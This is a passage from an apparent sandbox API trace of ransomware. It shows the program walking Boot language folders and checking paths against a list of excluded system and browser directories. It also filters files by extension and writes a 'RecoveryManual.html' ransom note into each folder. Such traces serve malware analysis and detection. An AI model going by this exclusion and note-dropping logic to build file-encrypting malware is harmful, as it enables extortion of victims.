lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.845] CloseHandle (hObject=0x15c) returned 1 [0175.846] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.846] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.846] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0175.846] lstrcpyW (in: lpString1=0x69b8b4, lpString2="de-DE" | out: lpString1="de-DE") returned="de-DE" [0175.846] lstrcatW (in: lpString1="de-DE", lpString2="\\" | out: lpString1="de-DE\\") returned="de-DE\\" [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\Windows\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\WINNT") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.846] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.847] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\de-DE\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.847] lstrlenW (lpString="\\\\?\\c:\\Boot\\de-DE\\") returned 18 [0175.847] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\de-DE\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.848] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\de-DE\\" | out: lpString1="\\\\?\\c:\\Boot\\de-DE\\") returned="\\\\?\\c:\\Boot\\de-DE\\" [0175.848] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.848] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.848] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.848] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.848] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.848] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.848] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.848] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.848] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.848] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.848] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\de-DE\\" | out: lpString1="\\\\?\\c:\\Boot\\de-DE\\") returned="\\\\?\\c:\\Boot\\de-DE\\" [0175.848] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\de-DE\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\de-DE\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\de-DE\\RecoveryManual.html" [0175.848] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\de-DE\\RecoveryManual.html" (normalized: "c:\\boot\\de-de\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.848] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.850] CloseHandle (hObject=0x15c) returned 1 [0175.851] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.851] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.851] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0175.851] lstrcpyW (in: lpString1=0x69b8b4, lpString2="el-GR" | out: lpString1="el-GR") returned="el-GR" [0175.851] lstrcatW (in: lpString1="el-GR", lpString2="\\" | out: lpString1="el-GR\\") returned="el-GR\\" [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\Windows\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\WINNT") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.851] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\el-GR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.852] lstrlenW (lpString="\\\\?\\c:\\Boot\\el-GR\\") returned 18 [0175.852] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\el-GR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.852] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\el-GR\\" | out: lpString1="\\\\?\\c:\\Boot\\el-GR\\") returned="\\\\?\\c:\\Boot\\el-GR\\" [0175.852] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.852] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.852] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.852] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.852] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.852] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.852] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.852] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.852] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.852] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.852] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\el-GR\\" | out: lpString1="\\\\?\\c:\\Boot\\el-GR\\") returned="\\\\?\\c:\\Boot\\el-GR\\" [0175.852] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\el-GR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\el-GR\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\el-GR\\RecoveryManual.html" [0175.852] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\el-GR\\RecoveryManual.html" (normalized: "c:\\boot\\el-gr\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.852] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.853] CloseHandle (hObject=0x15c) returned 1 [0175.854] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.854] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.854] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0175.854] lstrcpyW (in: lpString1=0x69b8b4, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0175.854] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.854] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.855] lstrlenW (lpString="\\\\?\\c:\\Boot\\en-US\\") returned 18 [0175.855] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.855] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\en-US\\" | out: lpString1="\\\\?\\c:\\Boot\\en-US\\") returned="\\\\?\\c:\\Boot\\en-US\\" [0175.855] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.855] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.855] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.856] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.856] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.856] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.856] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.856] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.856] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.856] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.856] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\en-US\\" | out: lpString1="\\\\?\\c:\\Boot\\en-US\\") returned="\\\\?\\c:\\Boot\\en-US\\" [0175.856] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\en-US\\RecoveryManual.html" [0175.856] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\en-US\\RecoveryManual.html" (normalized: "c:\\boot\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.856] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.857] CloseHandle (hObject=0x15c) returned 1 [0175.857] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0175.857] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="memtest.exe.mui" | out: lpString1="memtest.exe.mui") returned="memtest.exe.mui" [0175.857] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.857] StrStrIW (lpFirst="memtest.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.857] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.857] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.857] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.857] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.857] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.857] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0175.857] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.857] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, 